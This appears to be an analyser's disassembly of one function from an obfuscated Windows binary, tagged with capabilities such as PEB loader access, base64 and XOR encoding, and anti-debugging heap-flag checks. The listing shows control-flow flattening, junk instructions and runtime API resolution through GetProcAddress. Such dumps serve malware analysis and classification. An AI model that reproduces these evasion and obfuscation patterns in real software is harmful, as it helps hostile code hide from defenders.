Function at 0x4025d0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process filename
Get process heap flags
Get process heap force flags
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a8
mov eax, dword [0x496040]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x497384]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x1282697a
and eax, 0xed7d9685
or esi, eax
mov edx, esi
mov eax, esi
xor esi, 0x8519ef96
xor eax, 0xed7d9685
xor edx, 0x1282697a
mov edi, esi
and edi, eax
and esi, edx
and edx, 0xff7221aa
mov ecx, edi
not ecx
and edi, 0x4d662e55
mov ebx, ecx
and ebx, 0xb299d1aa
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x4d662e55
or ecx, ebx
and ebx, 0xb299d1aa
or esi, ebx
not ecx
xor esi, edi
mov edi, eax
and edi, 0x8dde55
and eax, 1
or edi, edx
or ecx, esi
mov edx, dword [0x497380]
mov esi, ecx
not esi
xor edi, 0xff7221ab
and ecx, 0x979b86ed
or eax, edi
and esi, 0x68647912
or ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc49b304c
and ecx, 0x3b64cfb3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe96d06a6
and ecx, 0x1692f959
or eax, ecx
cmp eax, 0xd209c915
mov eax, 0xec861159
sete byte [ebp - 0x89]
cmp edx, 0xa
setl byte [ebp - 0x8a]
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe016c7d2
and eax, 0xe1a5c2e8
mov esi, edx
and esi, 0x1fe9382d
and edx, 0x1e5a3d17
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xc5f26af4
xor eax, 0xe1a5c2e8
and esi, 0x3a0d950b
or ecx, esi
mov esi, 0xfc0fa9c4
xor ecx, 0x25e4ad27
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1cfaa9be
and ecx, 0xe3055641
or eax, ecx
xor eax, 0x1cfaa9be
setne al
sete ah
cmp dword [0x497380], 0xa
setge dl
setl cl
mov ch, dl
or al, cl
xor cl, ah
xor ch, ah
or ah, dl
mov dh, ah
and ch, dl
xor dh, al
or al, ah
or cl, ch
xor al, 1
or al, dh
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xfa2d57db
cmovne ecx, esi
test al, al
mov eax, 0xfa2d57db
cmove ecx, esi
test dl, 1
cmove ecx, eax
mov eax, ecx
nop dword [eax]
cmp eax, 0xfb22a113
jg 0x402910
cmp eax, 0xb9978b41
jg 0x402a40
cmp eax, 0x9e56c68e
jle 0x402b28
cmp eax, 0xab988eca
jle 0x402e8e
cmp eax, 0xb4d5cd51
jle 0x40340e
cmp eax, 0xb83dd747
jle 0x404979
cmp eax, 0xb8c1296c
jle 0x4061bd
cmp eax, 0xb8eb963c
jg 0x408db7
cmp eax, 0xb8c1296d
je 0x408f41
cmp eax, 0xb8d4f9db
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x532225df
mov esi, edx
and esi, 0xacddda20
and edx, 0x85de3eef
or eax, esi
mov esi, eax
xor eax, 0xacddda20
xor esi, 0x5222018c
or eax, 1
and esi, 0xd2fa19ac
mov edi, eax
and edi, 0x2d05e652
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x7a21c110
mov ebx, edi
not ebx
and edi, 0xd2fa19ad
or ecx, edx
or eax, ebx
and ebx, 0x2d05e652
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x38580196
and esi, 0xc7a7fe69
or esi, edx
mov edx, ecx
xor edx, 0x4221c000
xor ecx, 0x85de3eef
or eax, ecx
and ecx, 0x38580196
and edx, 0xc7a7fe69
or edx, ecx
not eax
xor edx, esi
mov esi, 0x9818b70a
or eax, edx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x497380], 0xa
setl dl
mov ah, dl
xor al, dl
or ah, cl
xor cl, dl
xor ah, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
or dl, al
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0x149c5602
cmovne eax, esi
test dl, 1
mov edx, 0x149c5602
cmovne edx, eax
test cl, cl
jmp 0x411b18
cmp eax, 0x42aa10a0
jg 0x402ac0
cmp eax, 0x1a044da8
jle 0x402c57
cmp eax, 0x2eb09f9f
jle 0x402ee9
cmp eax, 0x3775fe6b
jle 0x403460
cmp eax, 0x3c0d3b3b
jle 0x404aa1
cmp eax, 0x3fb7abcb
jle 0x4062e5
cmp eax, 0x404583c1
jg 0x408de6
cmp eax, 0x3fb7abcc
je 0x4090e7
cmp eax, 0x3fceb2e2
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x9004a080
mov esi, eax
mov edi, eax
or esi, 0x2382152c
and edx, 0xb386b5ac
and edi, 0x8280243
and eax, 0x8a38eedf
or edi, edx
mov edx, ecx
and esi, 0xb386b5ac
and edx, 0x44514810
and ecx, 0x75c71120
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x2baa176e
and esi, 0xd455e891
or edx, esi
mov esi, edx
not esi
and edx, 0x8a38eedf
mov edi, esi
and edi, 0x75c71120
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x4a651aa7
cmp eax, 0xffffffff
setne al
cmp dword [0x497380], 0xa
setl dl
setge cl
xor dl, al
xor al, cl
mov ah, dl
xor ah, cl
mov ecx, eax
and ah, dl
xor cl, 1
mov edx, 0x97778ee
xor al, ah
xor ah, 1
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0x4a651aa7
cmovne ecx, edx
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x412de5
cmp eax, 0xe0e5b5bb
jle 0x402cae
cmp eax, 0xec840637
jle 0x403035
cmp eax, 0xf5b8fc62
jle 0x403585
cmp eax, 0xf70dccaf
jle 0x404ad7
cmp eax, 0xf9a6544e
jle 0x4064b6
cmp eax, 0xfa961aa2
jg 0x408e11
cmp eax, 0xf9a6544f
je 0x40926d
cmp eax, 0xfa2d57db
jne 0x402780
cmp byte [ebp - 0x92], 0
mov eax, 0x1ce1df47
mov ecx, 0xa5eebaa1
cmovne eax, ecx
jmp 0x402780
cmp eax, 0x5ad12ed3
jle 0x402e37
cmp eax, 0x6ef64195
jg 0x403096
cmp eax, 0x62e4b567
jg 0x4035c6
cmp eax, 0x609b0462
jg 0x404c06
cmp eax, 0x5d12551e
jle 0x4065b5
cmp eax, 0x5f9c576f
jle 0x408f1d
cmp eax, 0x5f9c5770
je 0x409416
cmp eax, 0x60450b50
jne 0x402780
mov eax, dword [ebp - 0x118]
mov eax, 0x4886bd29
jmp 0x402780
cmp eax, 0x8c58a086
jg 0x4030e2
cmp eax, 0x84b7a00b
jg 0x403697
cmp eax, 0x8299c4f9
jg 0x404c3c
cmp eax, 0x81986a90
jg 0x4065e0
cmp eax, 0x806b2be3
je 0x40944c
cmp eax, 0x80e05140
je 0x40945c
cmp eax, 0x813612ed
jne 0x402780
mov eax, dword [ebp - 0x134]
cmp dword [eax], 0
mov eax, dword [0x497384]
lea ecx, [eax + 1]
setne byte [ebp - 0x91]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xda083bfc
and ecx, 0xe3aa56c7
mov edx, eax
and edx, 0x25f7c402
or esi, edx
mov edx, eax
or edx, 0x11d53c70
and eax, 0x1c55a938
mov edi, esi
xor edi, 0xca08038c
xor esi, 0x1d50401
and edx, 0x11d53c71
or eax, ecx
and esi, 0x11d53c71
and edi, 0xee2ac38e
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x1c55a938
mov edi, esi
and edi, 0xe3aa56c7
or edx, edi
mov edi, 0x4ee43c43
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x9fb1f80e
setne cl
cmp dword [0x497380], 0xa
mov ah, cl
setge al
setl dl
mov ch, al
or al, cl
or ah, dl
xor ch, cl
xor al, 1
xor ah, 1
or al, ch
and ch, dl
xor dl, cl
or ch, ah
xor dl, 1
xor al, 1
or al, dl
xor ch, 1
mov edx, 0x4ee43c43
mov cl, ch
xor ch, al
or cl, al
mov ah, ch
xor ah, cl
test ch, 1
cmovne edx, esi
test cl, 1
cmovne edx, edi
test ah, 1
jmp 0x40b075
cmp eax, 0xd64b9b4
jg 0x40312e
cmp eax, 0x7215c1
jg 0x4036d8
cmp eax, 0xfe62fad4
jg 0x404c72
cmp eax, 0xfc416acf
jg 0x40660b
cmp eax, 0xfb22a114
je 0x409504
cmp eax, 0xfbec5df3
je 0x409511
cmp eax, 0xfc0fa9c4
jne 0x402780
mov eax, 0xb5f3bc0b
jmp 0x402780
cmp eax, 0xcba4555d
jg 0x40317a
cmp eax, 0xc1e977f0
jg 0x4037d1
cmp eax, 0xbc654a2c
jg 0x404d49
cmp eax, 0xbb12b5c6
jg 0x406639
cmp eax, 0xb9978b42
je 0x40952f
cmp eax, 0xba1cf182
je 0x409548
cmp eax, 0xbab28562
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xdfd27421
and edx, 0x202d8bde
or edx, esi
mov esi, ecx
not esi
and ecx, 0x202d8bde
or eax, esi
and esi, 0xdfd27421
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x92af631b
and edx, 0xfffffffe
and ecx, 0x6d509ce4
or eax, ecx
xor eax, 0x92af631a
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x20aa620
and eax, 0xed345040
mov edx, ecx
or edx, 0x10010808
and esi, 0x120bae28
and ecx, 0xc00197
and edx, 0x120bae28
or ecx, esi
mov esi, 0xb5f3bc0b
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x10c1099f
and ecx, 0xef3ef660
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd975d036
and ecx, 0x268a2fc9
or eax, ecx
mov ecx, eax
xor ecx, 0xd8241030
xor eax, 0x20202c1
and eax, 0x353c2c7
and ecx, 0xfcac3d38
or ecx, eax
mov eax, ecx
xor eax, 0x3404240
xor ecx, 0x10a00510
and ecx, 0x10b38597
and eax, 0xef4c7a68
or eax, ecx
xor eax, 0xef4c7a68
sete cl
setne al
cmp dword [0x497380], 0xa
setl dl
setge ah
and dl, cl
mov ecx, eax
xor al, ah
and cl, ah
or dl, cl
mov ecx, edx
xor cl, ah
and cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
xor ah, 1
and al, ah
or ah, dl
and dl, cl
mov ecx, 0xfc0fa9c4
or dl, al
mov al, ah
xor al, dl
test dl, dl
mov edx, 0xfc0fa9c4
cmovne ecx, esi
test ah, ah
jmp 0x40b5d4
cmp eax, 0x50874cf4
jg 0x4031c6
cmp eax, 0x4b5fe4f0
jg 0x403812
cmp eax, 0x4886bd28
jg 0x404e33
cmp eax, 0x46b26789
jg 0x406680
cmp eax, 0x42aa10a1
je 0x40971d
cmp eax, 0x42b5674c
je 0x409727
cmp eax, 0x45f0dd09
jne 0x402780
mov eax, 0x278c9174
jmp 0x402780
cmp eax, 0xa84d31aa
jg 0x403853
cmp eax, 0xa50c0440
jg 0x404e6c
cmp eax, 0xa05cc3d7
jg 0x4066cd
cmp eax, 0x9e56c68f
je 0x409731
cmp eax, 0x9fb1f80e
je 0x409751
cmp eax, 0xa00be431
jne 0x402780
cmp byte [ebp - 0x9b], 0
mov eax, 0xf0cf726f
mov ecx, 0x7215c2
cmovne eax, ecx
jmp 0x402780
cmp eax, 0x21a90f18
jg 0x403a10
cmp eax, 0x1e399b36
jg 0x404fd0
cmp eax, 0x1ce1df46
jg 0x40685c
cmp eax, 0x1a044da9
je 0x40976a
cmp eax, 0x1b7bd620
je 0x409780
cmp eax, 0x1c0d4919
jne 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x456f9a48
mov eax, edx
and eax, 0x1240048
and ecx, edx
not edx
and edx, 0x444b9a00
or eax, edx
mov edx, eax
xor edx, 0x200048
xor eax, 0xfedbffb7
mov esi, eax
and esi, 0xc74d6136
and edx, 0x229a48
or edx, esi
mov esi, ecx
not esi
and ecx, 0x38b29ec9
or eax, esi
and esi, 0xc74d6136
or ecx, esi
not eax
mov esi, 0xa710b3d6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x456f9a48
and ecx, 0xba9065b7
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x1fcb7793
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xe034886c
and eax, 0x1fcb7793
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x135e117a
and ecx, 0xeca1ee85
or ecx, eax
xor ecx, 0xeca1ee85
sete dl
setne ah
cmp dword [0x497380], 0xa
setl al
setge cl
mov ch, al
xor dl, cl
or al, ah
xor ch, ah
and dl, cl
xor cl, ah
xor al, 1
not ch
or cl, dl
and ch, ah
mov edx, ecx
or al, ch
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xfefb2afd
cmovne ecx, esi
test al, al
mov eax, 0xfefb2afd
jmp 0x40af38
cmp eax, 0xe84b43dd
jg 0x403a60
cmp eax, 0xe6686dca
jg 0x405015
cmp eax, 0xe4a1df4a
jg 0x406887
cmp eax, 0xe0e5b5bc
je 0x40985c
cmp eax, 0xe264ff42
je 0x409882
cmp eax, 0xe3f7f8de
jne 0x402780
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, 0x5ad12ed4
setne byte [ebp - 0x93]
jmp 0x402780
cmp eax, 0x7740ca4c
jg 0x403b80
cmp eax, 0x737a39d7
jg 0x405051
cmp eax, 0x713c79e6
jg 0x406a21
cmp eax, 0x6ef64196
je 0x409a1d
cmp eax, 0x6f186709
je 0x409a33
cmp eax, 0x708f2383
jne 0x402780
mov eax, 0x4c26259
jmp 0x402780
cmp eax, 0x96d189e8
jg 0x403c7f
cmp eax, 0x8f8eabd8
jg 0x40515a
cmp eax, 0x8da3feb5
jg 0x406a57
cmp eax, 0x8c58a087
je 0x409ae6
cmp eax, 0x8d0cd795
je 0x409af9
cmp eax, 0x8d9e29e0
jne 0x402780
mov eax, 0xb217a054
jmp 0x402780
cmp eax, 0x118cb4c5
jg 0x403cca
cmp eax, 0xf8529d9
jg 0x405245
cmp eax, 0xee5c416
jg 0x406b0b
cmp eax, 0xd64b9b5
je 0x409bab
cmp eax, 0xdd29ee5
je 0x409cee
cmp eax, 0xdfe9532
jne 0x402780
mov eax, 0xc445a4a4
jmp 0x402780
cmp eax, 0xd5a2006d
jg 0x403dee
cmp eax, 0xd1b55f8f
jg 0x405284
cmp eax, 0xce6d46d7
jg 0x406b84
cmp eax, 0xcba4555e
je 0x409d01
cmp eax, 0xcba999df
je 0x409dd0
cmp eax, 0xce236140
jne 0x402780
mov eax, 0xfbec5df3
jmp 0x402780
cmp eax, 0x558cd839
jg 0x403e58
cmp eax, 0x52f5b7be
jg 0x4052ba
cmp eax, 0x51bd5c2f
jg 0x406d4d
cmp eax, 0x50874cf5
je 0x409f0f
cmp eax, 0x509da569
je 0x409fd2
cmp eax, 0x50abaede
jne 0x402780
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xdc], eax
mov eax, 0xa348f1a0
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0xd8], edx
nop
cmp eax, 0xa348f1a0
je 0x403404
cmp eax, 0x366ed480
je 0x409fe2
cmp eax, 0x53d8068
jne 0x403250
neg edi
rol eax, 0xc0
not esi
rcl ebx, 0xe0
imul ebx
bswap ebx
not esi
not edi
sbb eax, 0x29
sub eax, 0x74
bswap edi
dec eax
rol ebx, 0x80
neg ebx
sub edx, 0x7b
ror edx, 0x47
inc edx
not eax
inc ebx
ror edi, 0x9c
rcr eax, 0xd1
add esi, 0x44
ror eax, 0xac
mov esi, 0x79
dec esi
not edx
bswap eax
inc edi
and esi, 0x70
or edi, 0x43
imul esi
rcr eax, 0xae
not ebx
imul eax
bswap esi
imul edi
rcl esi, 0xca
neg esi
or eax, 0xc4
inc esi
sub ebx, 0x49
not edx
inc edi
neg eax
sbb ebx, 0xc6
not edi
not eax
rcr edi, 0xec
dec esi
or eax, 2
imul edi
not eax
neg eax
or esi, 0x56
add esi, 0xc1
ror esi, 0x99
bswap ebx
inc ebx
inc edx
neg edi
and ebx, 0x9e
mov ebx, 0xde
ror esi, 0x2f
inc edi
mov esi, 0xb0
rol esi, 0x4e
not esi
inc ebx
sub eax, 0xe
not edi
inc edx
dec edi
not edx
sbb esi, 0x11
rol ebx, 0x8c
not eax
neg eax
neg ebx
rcr edx, 0x80
inc ebx
dec ebx
not ebx
and edx, 0xb1
bswap eax
neg ebx
imul esi
dec eax
or edx, 0xa4
inc eax
sbb eax, 0x6d
mov eax, 0x71
imul eax
sub edi, 0xef
neg ebx
sbb esi, 0x59
imul ebx
or edi, 0x1e
or eax, 0xf6
mov edx, 0xb0
dec edi
imul ebx
not ebx
rcl esi, 0x64
rcr eax, 0x44
inc ebx
not eax
imul edx
ror ebx, 0x99
imul esi
rcl eax, 0x2c
neg ebx
rcr eax, 0x1f
sbb ebx, 0x53
imul edi
or edi, 0x17
mov eax, 0xb3
sbb ebx, 0xc
dec eax
bswap edi
or edi, 0xa4
inc ebx
imul ebx
bswap eax
rol esi, 0x5d
and ebx, 0xe8
dec ebx
dec edi
rcl edx, 0x4a
or ebx, 0xe4
rcl eax, 0x61
neg edi
and esi, 0xed
bswap esi
add edx, 0xf8
ror esi, 0x6c
sbb ebx, 0xe8
dec edi
or edx, 0xf1
inc eax
neg esi
not eax
and esi, 0x6c
imul edx
neg esi
or ebx, 0xf6
inc eax
rol eax, 0x91
or edx, 0x72
rol eax, 0x45
dec edi
mov eax, 0x366ed480
jmp 0x403250
mov eax, 0x53d8068
jmp 0x403250
cmp eax, 0xaf28bdf5
jg 0x4053f6
cmp eax, 0xae92a594
jg 0x406d78
cmp eax, 0xab988ecb
je 0x40a00b
cmp eax, 0xabff2707
je 0x40a015
cmp eax, 0xada6a074
jne 0x402780
mov eax, dword [ebp - 0x1a0]
mov ecx, 0x118abb29
cmp eax, 0xc
mov eax, 0x839d3fc2
cmove eax, ecx
jmp 0x402780
cmp eax, 0x31fd34f3
jg 0x405454
cmp eax, 0x2fc64270
jg 0x406da3
cmp eax, 0x2eb09fa0
je 0x40a18c
cmp eax, 0x2f2d2e96
je 0x40a3ef
cmp eax, 0x2f779450
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x84218312
not edx
mov esi, edx
or esi, 0x89e2040
and ecx, 0x8cbfa352
and edx, 0x30400821
or edx, ecx
mov ecx, eax
and esi, 0x8cbfa352
and ecx, 0x4300548c
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x5fc4a39a
and edx, 0xa03b5c65
or ecx, edx
mov edx, ecx
xor edx, 0x671a8bfa
xor ecx, 0x98e57405
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x50abaede
xor ecx, edx
test ecx, edx
sete dl
cmp dword [0x497380], 0xa
setge cl
setl al
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
not ah
and ah, dl
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov edx, ecx
xor ah, 1
xor dl, 1
or al, ah
and cl, dl
mov ch, al
xor cl, 1
xor ch, 1
mov dh, cl
or cl, dl
mov ah, ch
xor dh, dl
xor cl, 1
or dl, al
and ah, al
or cl, dh
xor ah, 1
or ah, al
mov al, dl
xor ah, 1
or ah, ch
mov ch, cl
xor ch, 1
and ch, ah
xor ah, 1
and ah, cl
or ah, ch
mov ecx, 0x3c0d3b3c
xor al, ah
test al, 1
cmovne ecx, esi
test dl, dl
mov edx, 0x3c0d3b3c
jmp 0x40e981
cmp eax, 0xf0cf726e
jg 0x40548a
cmp eax, 0xeec2889d
jg 0x406ddc
cmp eax, 0xec840638
je 0x40a3f9
cmp eax, 0xec861159
je 0x40a4e8
cmp eax, 0xec97d7fe
jne 0x402780
mov eax, 0x73ec971e
jmp 0x402780
cmp eax, 0x6a8c2295
jg 0x405620
cmp eax, 0x659b4619
jg 0x406e24
cmp eax, 0x62e4b568
je 0x40a58d
cmp eax, 0x63cdc599
je 0x40a5a6
cmp eax, 0x64b69ae2
jne 0x402780
mov eax, dword [0x497384]
mov esi, 0xc1e977f1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfffffffe
mov edx, eax
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x17f0eea4
and ecx, 0xe80f115b
or ecx, eax
mov eax, ecx
xor eax, 0x60041152
xor ecx, 0x5006a80
and ecx, 0x8d0b6a89
and eax, 0x72f49576
or eax, ecx
cmp eax, 0x72f49576
setne cl
cmp dword [0x497380], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
mov ah, dl
xor cl, 1
and al, dl
not ah
and ah, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xd568549d
cmovne ecx, esi
test al, al
mov eax, 0xd568549d
jmp 0x402771
cmp eax, 0x89b7b300
jg 0x405839
cmp eax, 0x88a9f7fd
jg 0x406e4f
cmp eax, 0x84b7a00c
je 0x40a7b3
cmp eax, 0x8568a6e9
je 0x40a7c8
cmp eax, 0x86d48412
jne 0x402780
mov eax, 0x23acbeee
jmp 0x402780
cmp eax, 0x716a259
jg 0x40586f
cmp eax, 0x59549de
jg 0x406e7a
cmp eax, 0x7215c2
je 0x40a8cf
cmp eax, 0x2e61ee3
je 0x40a8e4
cmp eax, 0x4c26259
jne 0x402780
mov ecx, dword [0x497384]
mov edi, 0x7208dbbf
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x72e70f63
not edx
mov esi, edx
and ecx, eax
and esi, 0x72e70f63
and edx, 0x9b9e536b
and eax, 0x6461ac94
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xfb29f315
mov edx, eax
xor edx, 0x6461ac94
xor eax, 0x9b9e536b
and esi, 0x4d60cea
or ecx, esi
mov esi, ecx
xor esi, 0x89cefc77
xor ecx, 0x76310388
and eax, esi
and edx, ecx
mov esi, 0xa94f742
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
cmp dword [0x497380], 0xa
setl ah
mov al, ah
mov cl, ah
or al, dl
xor cl, dl
xor al, 1
and dl, cl
or al, cl
and cl, ah
mov ah, dl
xor dl, cl
xor ah, 1
xor cl, 1
xor al, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
test cl, 1
not dl
cmovne esi, edi
test dl, al
cmovne esi, edi
test cl, 1
mov ecx, esi
cmovne ecx, edi
test dl, al
jmp 0x411f32
cmp eax, 0xc743d047
jg 0x4058ab
cmp eax, 0xc445a4a3
jg 0x406ea5
cmp eax, 0xc1e977f1
je 0x40a8fd
cmp eax, 0xc27c0f3d
je 0x40a910
cmp eax, 0xc364b5cd
jne 0x402780
mov eax, 0xce6d46d8
jmp 0x402780
cmp eax, 0x4df61754
jg 0x405a11
cmp eax, 0x4bf6466a
jg 0x406edc
cmp eax, 0x4b5fe4f1
je 0x40a920
cmp eax, 0x4b8efd8b
je 0x40a92a
cmp eax, 0x4ba61900
jne 0x402780
mov eax, 0xfee445ef
jmp 0x402780
cmp eax, 0xa9eabfaa
jg 0x405a4a
cmp eax, 0xa8d1586b
jg 0x406f52
cmp eax, 0xa84d31ab
je 0x40a940
cmp eax, 0xa8550514
je 0x40ab29
cmp eax, 0xa8a3af8f
jne 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [eax + ecx*4]
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x66618e5a
and edx, 0x999e71a5
mov esi, ecx
not esi
and ecx, 0xe6941ba6
or eax, edx
mov edx, eax
xor edx, 0x66000a02
xor eax, 0x999e71a5
mov edi, eax
or eax, esi
and esi, 0x196be459
and edi, 0x196be459
and edx, 0xe6941ba6
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0x8b44ade8
mov ecx, eax
and ecx, 0xffb85080
and esi, eax
not eax
and eax, 0x47af7f
or ecx, eax
mov edx, ecx
xor ecx, 0x47af7f
xor edx, 0xffb85080
mov eax, ecx
or eax, 0x74bb5217
mov ebx, edx
and ebx, 0x83008420
and ecx, 0x4c570f9d
mov edi, eax
and edi, 0x2c567bcc
or ebx, edi
mov edi, esi
not edi
and esi, 0xd3a98433
or eax, edi
and edi, 0x2c567bcc
or esi, edi
mov edi, edx
and edi, 0xb3a8f062
not eax
or edi, ecx
xor esi, ebx
movzx ecx, dx
xor edi, 0x4c57f062
or eax, esi
or ecx, edi
mov esi, eax
not esi
and eax, 0xd4151cc6
mov edx, ecx
not edx
and esi, 0x2beae339
and ecx, 0xe923a68d
and edx, 0x16dc5972
or eax, esi
or ecx, edx
xor eax, 0x5f514ed1
xor ecx, 0xe923a68d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x39b344e4
and eax, 0xc64cbb1b
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x665e5262
and eax, 0x99a1ad9d
or ecx, eax
mov eax, ecx
xor eax, 0x2000a128
xor ecx, 0x5fed1686
mov edx, ecx
and edx, 0x82df5855
and eax, 0x7d20a7aa
or eax, edx
xor eax, 0x82df5855
xor ecx, eax
and ecx, eax
mov eax, dword [ebp - 0x5c]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0xea2f8bc0
jmp 0x402780
cmp eax, 0x26f30896
jg 0x405b19
cmp eax, 0x2492e840
jg 0x40707f
cmp eax, 0x21a90f19
je 0x40ac6b
cmp eax, 0x239e2192
je 0x40ac75
cmp eax, 0x23acbeee
jne 0x402780
mov eax, dword [ebp - 0x198]
add eax, 0x10
mov dword [ebp - 0x134], eax
mov eax, 0x349cd2a2
jmp 0x402780
cmp eax, 0xeba74e2f
jg 0x405c8c
cmp eax, 0xe9aa2f23
jg 0x407166
cmp eax, 0xe84b43de
je 0x40ac9d
cmp eax, 0xe8fa186f
je 0x40aca7
cmp eax, 0xe900ae25
jne 0x402780
mov eax, dword [ebp - 0x54]
mov esi, 0x509da569
mov edi, 0x86d48412
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x198], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc60bd931
mov edx, eax
and eax, 0x39f426ce
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x39f426cf
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe135e54f
and ecx, 0x1eca1ab0
or eax, ecx
mov ecx, eax
xor ecx, 0x20152547
xor eax, 0x14c00a00
and eax, 0xd5e0ca08
and ecx, 0x2a1f35f7
or ecx, eax
mov eax, ecx
xor eax, 0x221a2176
xor ecx, 0xc4a0c808
and ecx, 0xcca5dc89
and eax, 0x335a2376
or eax, ecx
xor eax, 0x335a2376
setne ch
sete ah
cmp dword [0x497380], 0xa
setl cl
setge dl
mov al, cl
xor dl, ch
xor al, ah
xor dl, 1
mov dh, al
and al, cl
or cl, ah
and dh, ah
mov ah, dl
mov bl, dh
xor dh, al
xor al, 1
xor ah, cl
or cl, dl
xor bl, 1
xor cl, 1
or al, bl
or cl, ah
xor al, 1
or al, dh
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
